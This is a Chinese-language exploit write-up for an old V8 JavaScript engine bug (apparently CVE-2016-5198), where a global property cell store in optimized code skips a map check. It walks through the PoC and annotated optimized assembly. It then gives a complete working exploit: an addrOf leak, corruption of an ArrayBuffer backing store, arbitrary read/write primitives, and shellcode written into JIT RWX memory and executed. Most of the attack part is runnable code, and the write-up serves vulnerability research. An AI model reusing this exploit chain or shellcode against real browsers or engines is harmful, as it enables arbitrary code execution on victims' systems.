前言

环境搭建

git reset --hard a7a350012c05f644f3f373fb48d7ac72f7f60542
gclient sync
tools/dev/v8gen.py x64.debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.debug d8
ninja -C out.gn/x64.release d8

调试:

./d8 --allow-natives-syntax --print-opt-code ./poc.js
打印v8优化后的代码

charCodeAt() 方法

定义和用法

charCodeAt() 方法可返回指定位置的字符的 Unicode 编码。这个返回值是 0 - 65535 之间的整数。

方法 charCodeAt() 与 charAt() 方法执行的操作相似,只不过前者返回的是位于指定位置的字符的编码,而后者返回的是字符子串。

语法

stringObject.charCodeAt(index)

漏洞分析

该漏洞是由于全局的property cell 时没有考虑Map 的变换,在优化代码中没有进行检查。

poc 代码:

var n;
function Ctor() {
        n = new Set();
}
function Check() {
        n.xyz = 0x826852f4;
}

Ctor();
Ctor();
%OptimizeFunctionOnNextCall(Ctor);
Ctor();

Check();
Check();
%OptimizeFunctionOnNextCall(Check);
Check();

Ctor();
%SystemBreak();
%DebugPrint(n);
Check();
%SystemBreak();
parseInt('AAAAAAAA');

运行代码进行调试:

./d8 --allow-natives-syntax --print-opt-code ./poc.js

Ctor优化后的代码:

--- Raw source ---
() {
	n = new Set();
}


--- Optimized code ---
optimization_id = 0
source_position = 20
kind = OPTIMIZED_FUNCTION
name = Ctor
stack_slots = 5
compiler = crankshaft
Instructions (size = 218)
0x3f281ae06640     0  55             push rbp
0x3f281ae06641     1  4889e5         REX.W movq rbp,rsp
0x3f281ae06644     4  56             push rsi
0x3f281ae06645     5  57             push rdi
0x3f281ae06646     6  4883ec08       REX.W subq rsp,0x8
0x3f281ae0664a    10  488b45f8       REX.W movq rax,[rbp-0x8]
0x3f281ae0664e    14  488945e8       REX.W movq [rbp-0x18],rax
0x3f281ae06652    18  488bf0         REX.W movq rsi,rax
0x3f281ae06655    21  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x3f281ae0665c    28  7305           jnc 35  (0x3f281ae06663)
0x3f281ae0665e    30  e87dc2f5ff     call StackCheck  (0x3f281ad628e0)    ;; code: BUILTIN
0x3f281ae06663    35  49bae95b696d233e0000 REX.W movq r10,0x3e236d695be9    ;; object: 0x3e236d695be9 <JS Function Set (SharedFunctionInfo 0x370eb151cb31)>
0x3f281ae0666d    45  4152           push r10
0x3f281ae0666f    47  48bae95b696d233e0000 REX.W movq rdx,0x3e236d695be9    ;; object: 0x3e236d695be9 <JS Function Set (SharedFunctionInfo 0x370eb151cb31)>
0x3f281ae06679    57  48bae95b696d233e0000 REX.W movq rdx,0x3e236d695be9    ;; object: 0x3e236d695be9 <JS Function Set (SharedFunctionInfo 0x370eb151cb31)>
0x3f281ae06683    67  33c0           xorl rax,rax
0x3f281ae06685    69  488b75e8       REX.W movq rsi,[rbp-0x18]
0x3f281ae06689    73  488bfa         REX.W movq rdi,rdx
0x3f281ae0668c    76  e82f6ef3ff     call Construct  (0x3f281ad3d4c0)    ;; code: BUILTIN
0x3f281ae06691    81  a801           test al,0x1
0x3f281ae06693    83  0f8458000000   jz 177  (0x3f281ae066f1)
0x3f281ae06699    89  49ba0965a883eb070000 REX.W movq r10,0x7eb83a86509    ;; object: 0x7eb83a86509 <Map(FAST_HOLEY_SMI_ELEMENTS)>
0x3f281ae066a3    99  4c3950ff       REX.W cmpq [rax-0x1],r10
0x3f281ae066a7   103  0f8549000000   jnz 182  (0x3f281ae066f6)
0x3f281ae066ad   109  48bb91b76a6d233e0000 REX.W movq rbx,0x3e236d6ab791    ;; object: 0x3e236d6ab791 PropertyCell for 0x6db1ec0a209 <a Set with map 0x7eb83a86509> <------- 获得全局地址0x3e236d6ab791
0x3f281ae066b7   119  4889430f       REX.W movq [rbx+0xf],rax <---------Construct函数构造的Set存储到了地址为 [0x3e236d6ab791+0xf] 的全局变量中
0x3f281ae066bb   123  488d530f       REX.W leaq rdx,[rbx+0xf]
0x3f281ae066bf   127  48250000f8ff   REX.W and rax,0xfffffffffff80000
0x3f281ae066c5   133  f6400802       testb [rax+0x8],0x2
0x3f281ae066c9   137  7415           jz 160  (0x3f281ae066e0)
0x3f281ae066cb   139  48c7c00000f8ff REX.W movq rax,0xfff80000
0x3f281ae066d2   146  4823c3         REX.W andq rax,rbx
0x3f281ae066d5   149  f6400804       testb [rax+0x8],0x4
0x3f281ae066d9   153  7405           jz 160  (0x3f281ae066e0)
0x3f281ae066db   155  e8c0f6ffff     call 0x3f281ae05da0     ;; code: STUB, RecordWriteStub, minor: 8707
0x3f281ae066e0   160  48b8112350b10e370000 REX.W movq rax,0x370eb1502311    ;; object: 0x370eb1502311 <undefined>
0x3f281ae066ea   170  488be5         REX.W movq rsp,rbp
0x3f281ae066ed   173  5d             pop rbp
0x3f281ae066ee   174  c20800         ret 0x8
0x3f281ae066f1   177  e81ed9d7ff     call 0x3f281ab84014     ;; deoptimization bailout 2
0x3f281ae066f6   182  e823d9d7ff     call 0x3f281ab8401e     ;; deoptimization bailout 3
0x3f281ae066fb   187  90             nop

Check 优化后的代码:

--- Raw source ---
() {
	n.xyz = 0x826852f4;
}


--- Optimized code ---
optimization_id = 1
source_position = 57
kind = OPTIMIZED_FUNCTION
name = Check
stack_slots = 5
compiler = crankshaft
Instructions (size = 115)
0x3f281ae06980     0  55             push rbp
0x3f281ae06981     1  4889e5         REX.W movq rbp,rsp
0x3f281ae06984     4  56             push rsi
0x3f281ae06985     5  57             push rdi
0x3f281ae06986     6  4883ec08       REX.W subq rsp,0x8
0x3f281ae0698a    10  488b45f8       REX.W movq rax,[rbp-0x8]
0x3f281ae0698e    14  488945e8       REX.W movq [rbp-0x18],rax
0x3f281ae06992    18  488bf0         REX.W movq rsi,rax
0x3f281ae06995    21  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x3f281ae0699c    28  7305           jnc 35  (0x3f281ae069a3)
0x3f281ae0699e    30  e83dbff5ff     call StackCheck  (0x3f281ad628e0)    ;; code: BUILTIN
0x3f281ae069a3    35  48b891b76a6d233e0000 REX.W movq rax,0x3e236d6ab791    ;; object: 0x3e236d6ab791 PropertyCell for 0x6db1ec0a429 <a Set with map 0x7eb83a8c391>   <------------ 获得全局地址0x3e236d6ab791
0x3f281ae069ad    45  488b400f       REX.W movq rax,[rax+0xf]   <------------ 获得全局变量n
0x3f281ae069b1    49  49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000 <------ 得到浮点数0x826852f4
0x3f281ae069bb    59  c4c1f96ec2     vmovq xmm0,r10 <------------ 存入浮点数寄存器
0x3f281ae069c0    64  488b4007       REX.W movq rax,[rax+0x7] <---------得到`properties`指针的地址
0x3f281ae069c4    68  488b400f       REX.W movq rax,[rax+0xf] <------ 得到`properties`中第一个偏移的对象的地址
0x3f281ae069c8    72  c5fb114007     vmovsd [rax+0x7],xmm0 <----将浮点数存入上述对象偏移+8的地址
0x3f281ae069cd    77  48b8112350b10e370000 REX.W movq rax,0x370eb1502311    ;; object: 0x370eb1502311 <undefined>
0x3f281ae069d7    87  488be5         REX.W movq rsp,rbp
0x3f281ae069da    90  5d             pop rbp
0x3f281ae069db    91  c20800         ret 0x8
0x3f281ae069de    94  6690           nop

从Check 优化后的代码中可以看到对于对象属性的赋值操作并没有进行检查,而是根据properties的偏移直接赋值。而经过优化后,可以看到对象n(n的地址为0xd6a72e8a5e9)并没有xyz 这个property,后面跟的是 String(null) 对象,所以” n.xyz = 0x826852f4;”的赋值操作,会根据偏移,直接对String(null) -> map进行赋值。

因为之前 n.xyz的类型为HeapNumber,针对HeapNumber的赋值,会赋值到填充地址+8的地方,如下图,Poc会将图中的0x0019000400007300覆盖成浮点数0x41e04d0a5e800000(0x826852f4)。

image-20200819144335021

根据偏移赋值操作(即优化的关键地方)如下:

0x3f281ae069a3    35  48b891b76a6d233e0000 REX.W movq rax,0x3e236d6ab791     
0x3f281ae069ad    45  488b400f       REX.W movq rax,[rax+0xf]   // 取出对象n的地址
0x3f281ae069b1    49  49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000 
0x3f281ae069bb    59  c4c1f96ec2     vmovq xmm0,r10 
0x3f281ae069c0    64  488b4007       REX.W movq rax,[rax+0x7] // 取出n中`properties`指针的地址
0x3f281ae069c4    68  488b400f       REX.W movq rax,[rax+0xf] // 得到`properties`中第一个偏移的对象的地址
0x3f281ae069c8    72  c5fb114007     vmovsd [rax+0x7],xmm0 // 将0x41e04d0a5e800000存入到HeapNumber当中

vmovsd [rax+0x7],xmm0 指令最终覆盖String(null) -> map:

image-20200819150110446

而后Poc 中的 parseInt(‘AAAAAAAA’); 操作会用到String(null) -> map,导致崩溃:

image-20200819150350958

漏洞利用

首先要了解的是,同一个对象对不同类型的property 是如何存储的:

(a)浮点数的赋值会赋值到HeapNumber 对应的偏移( +8 )的地方;

(b)smi 会写到相应字段的高4个字节;

(c)对象的赋值会将对象的地址直接赋值到该字段。

根据上述对Poc的分析,我们直观可以得到一个越界写,而越界读是通过新建一个String(null)进行,用于构造addrOf原语

(1)构造addrOf原语

对一个String 对象进行输出的时候,会根据字符串的值和length 输出相应长度的字符串,所以我们将String(null)的null值修改成data_buf对象,即对象的地址。(因为对象的赋值会将对象的地址直接赋值到该字段。),将String(null)->length修改成0x8,利用charCodeAt()方法进行输出,就能构造addrOf原语泄漏data_buf对象的地址。

function Ctor_a() {
	a = new Set();
}

function str2obj(obj) {
	a.xyz0 = 3.4766863919152113e-308;// 为了避免破坏String(null)->map结构,用原来的值0x0019000400007300进行覆盖
	a.xyz1 = 0; // smi 类型,只会向高4个字节写入,不会破坏低4个字节的String(null)->hash值
	a.xyz2 = 0x8;
	a.xyz3 = obj;
}

var str = new String(null);
function addrOf(obj)
{
	Ctor_a();
	str2obj(obj);
	let addr = str.valueOf();
	let leak_addr = 0;
	for(let i = 0; i < 8; i++){
		leak_addr += addr.charCodeAt(i) * (Math.pow(0x100,i));
	}
	return leak_addr;
}

var data_buf = new ArrayBuffer(0x233);
var data_buf_addr = addrOf(data_buf);

(2)修改data_buf->backing_store值

我们得到data_buf对象的地址,就可以根据偏移得到data_buf->backing_store的地址,后面需要对backing_store进行修改构造任意读写原语,但如何通过越界写修改data_buf->backing_store的值?

根据前面对不同类型的property存储的特性可知smi和对象类型会直接赋值,浮点数类型会寻址一次,对找到的地址+8处进行赋值。所以需要将data_buf->backing_store地址-8 当成浮点数类型,后续对其赋值时就能修改data_buf->backing_store的值了。所以需要将data_buf->backing_store-8直接作为String(null)字段的内容。直接赋值data_buf->backing_store-8 不能实现效果,因为data_buf->backing_store-8作为浮点数,会将赋值的字段当成一个HeapNumber,赋值字段内容+8处,而字段本身内容不变。

exp代码是将String(null)对象的值字段覆盖成String(null)对象本身的地址,此时再对值字段赋值data_buf->backing_store-8 时,就会将值字段当成一个HeapNumber,从而将data_buf->backing_store-8 赋值到String(null)+8处,即String(null)->hash。最后再对String(null)->hash赋值目标地址,就会将String(null)->hash当成HeapNumber,将目标地址赋值到(data_buf->backing_store-8)+8处,即data_buf->backing_store。从而达到修改data_buf->backing_store值的目的。

代码如下:

function overwrite_backing_store(target)
{
	Ctor_a();
	str2obj(String(null));
	Ctor_b();
	str2value(i2f(backing_store-8)); // 将值字段当成HeapNumber类型
	Ctor_c();
	hash2victim(i2f(target)); //将hash字段当成HeapNumber类型
}

(3)构造任意读写原语

//----- arbitrary read
function dataview_read64(addr)
{
	overwrite_backing_store(addr);
	return f2i(data_view.getFloat64(0, true));
}

//----- arbitrary write
function dataview_write(addr, payload)
{
	overwrite_backing_store(addr);
	for(let i=0; i < payload.length; i++)
	{
		data_view.setUint8(i, payload[i]);
	}
}

(4)由于2016年的漏洞,此时还没有wasm,所以构造一个jit函数对象,执行的代码直接就在函数对象地址+0x38处,覆盖成shellcode即可。

var jit = new Function("var a = 1000000");
var jit_addr = addrOf(jit) - 1;
print("[+] jit_addr : 0x" + hex(jit_addr));

var jit_rwx = dataview_read64(jit_addr + 0x38);
print("[+] jit_rwx: 0x"+hex(jit_rwx));

var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

dataview_write(jit_rwx, shellcode);

// trigger jit function to run shellcode
jit();

exp 代码:

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);

function f2i(f)
{
	float64[0] = f;
	let tmp = Array.from(Uint32);
	return tmp[1] * 0x100000000 + tmp[0]; 
}

function i2f(i)
{
	let tmp = [];
	tmp[0] = parseInt(i % 0x100000000);
	tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
	Uint32.set(tmp);
	return float64[0];
}

function hex(i)
{
	return i.toString(16);
}

function gc() {
    for (let i = 0; i < 100; i++) {
        new ArrayBuffer(0x100000);
    }
}

var jit = new Function("var a = 1000000");

var a;
var b;
var c;
function Ctor_a() {
	a = new Set();
}

function Ctor_b() {
	b = new Map();
}

function Ctor_c(){
	c = new ArrayBuffer();
}

function str2obj(obj) {
	a.xyz0 = 3.4766863919152113e-308;
	a.xyz1 = 0;
	a.xyz2 = 0x8;
	a.xyz3 = obj;
}

function str2value(value){
	b.xyz0 = 3.4766863919152113e-308;
	b.xyz1 = 0;
	b.xyz2 = 0x8;
	b.xyz3 = value;

}

function hash2victim(target){
	c.xyz0 = 3.4766863919152113e-308;
	c.xyz1 = target;
}


for(let i = 0; i < 0x10000; i++){
	Ctor_a();
	Ctor_b();
	Ctor_c();
}

for(let i = 0; i < 0x10000; i++){
	str2obj();
	str2value(1.1);
	hash2victim(2.2);
}

var str = new String(null);
function addrOf(obj)
{
	Ctor_a();
	str2obj(obj);
	let addr = str.valueOf();
	let leak_addr = 0;
	for(let i = 0; i < 8; i++){
		leak_addr += addr.charCodeAt(i) * (Math.pow(0x100,i));
	}
	return leak_addr;
}

var data_buf = new ArrayBuffer(0x233);
//%DebugPrint(data_buf);
var data_buf_addr = addrOf(data_buf);
print("[+] data_buf_addr : 0x" + hex(data_buf_addr));

var backing_store = data_buf_addr + 0x20;
print("[+] backing_store : 0x" + hex(backing_store));

//%DebugPrint(jit);
var jit_addr = addrOf(jit) - 1;
print("[+] jit_addr : 0x" + hex(jit_addr));

function overwrite_backing_store(target)
{
	Ctor_a();
	str2obj(String(null));
	Ctor_b();
	str2value(i2f(backing_store-8)); // 将值字段当成HeapNumber类型
	Ctor_c();
	hash2victim(i2f(target)); //将hash字段当成HeapNumber类型
}

var data_view = new DataView(data_buf);

//----- arbitrary read
function dataview_read64(addr)
{
	overwrite_backing_store(addr);
	return f2i(data_view.getFloat64(0, true));
}

//----- arbitrary write
function dataview_write(addr, payload)
{
	overwrite_backing_store(addr);
	for(let i=0; i < payload.length; i++)
	{
		data_view.setUint8(i, payload[i]);
	}
}

var jit_rwx = dataview_read64(jit_addr + 0x38);
print("[+] jit_rwx: 0x"+hex(jit_rwx));

var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

dataview_write(jit_rwx, shellcode);

// trigger jit function to run shellcode
jit();

运行效果图:

image-20200819095554739

参考链接

https://gtoad.github.io/2019/07/26/V8-CVE-2016-5198/

https://bugs.chromium.org/p/chromium/issues/detail?id=659475